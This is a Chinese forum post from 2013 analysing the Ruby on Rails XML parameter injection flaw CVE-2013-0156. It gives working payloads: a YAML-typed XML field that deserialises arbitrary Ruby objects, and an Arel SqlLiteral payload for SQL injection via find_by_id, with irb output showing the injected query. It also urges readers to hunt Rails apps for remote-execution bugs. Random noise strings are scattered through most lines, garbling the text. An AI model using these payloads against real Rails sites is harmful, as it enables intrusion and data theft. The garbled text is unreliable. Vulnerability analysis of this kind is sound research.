中国网络渗透测试联盟

标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析 [打印本页]

作者: admin    时间: 2013-1-11 21:16
标题: Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析
Author: wofeiwo#80sec.com ' B; z5 r, U6 B4 u, x: ?* n+ H

7 B1 n: ?3 O; R- l注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 4 k+ O, Q  T( D& G+ G  g: \7 b' b

) Y% F8 |% a! H, t% {近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. 3 |, ?& |! A( }

/ ?) k8 m' [3 D+ J$ G; V5 QCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
1 Y( {: e& `  K; T$ [& U7 H: ^* \6 j2 f1 C
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
/ ^/ [% g9 _1 X/ K2 @) h- N2 ~5 X  I1 V, N. `9 D
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
) R$ Y3 T6 Y# d0 _; ]: h0 w0 E# T- \( _
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. : D% n* w  w3 S
1 k& I. W& i& ~) r8 ?+ G% f  \
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? " X" B' R" W( C! g9 ?3 F, a! Z

8 {$ U7 }5 ]( o( E然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
1 h: w% t9 P% k3 Q; E
5 u: w: I( t5 v) N, ^但是等等,还有另一个参数类型,yaml。 6 p, }4 A: _. U

! Q4 C* i' ^+ Ryaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 3 a  ]4 S" n/ W, ^% W6 d4 h' J

+ K& P: U" A# B9 H4 N<test type="yaml">--- !ruby/object:A
; U  |0 _( A$ L& z: paaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
7 {' f: u3 _2 @6 x7 p4 P" c8 ], o3 Z# U, M
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
6 P4 B* Z, z  x/ B* E* |* H: ]. H5 \$ C; v; r. C6 M
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 & ?$ w: v2 e& B# }

! l: p6 c% A7 ^. u一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
7 l# {% W. s, p4 z5 o; W- K$ d8 H" B- |
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
% e6 C# M/ w5 P! g! I
) w' ~4 c. Y5 E1 ~6 ~! ^<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
8 ~( X1 X0 u3 ]( L. Z( K/ ^* P1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 0 f: h5 P! `% Q

/ P3 G* q* p, W' nirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 1 z, W6 Q# V- J$ F3 q
& P* O" o3 k0 B, x! H2 T) s; k" N





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2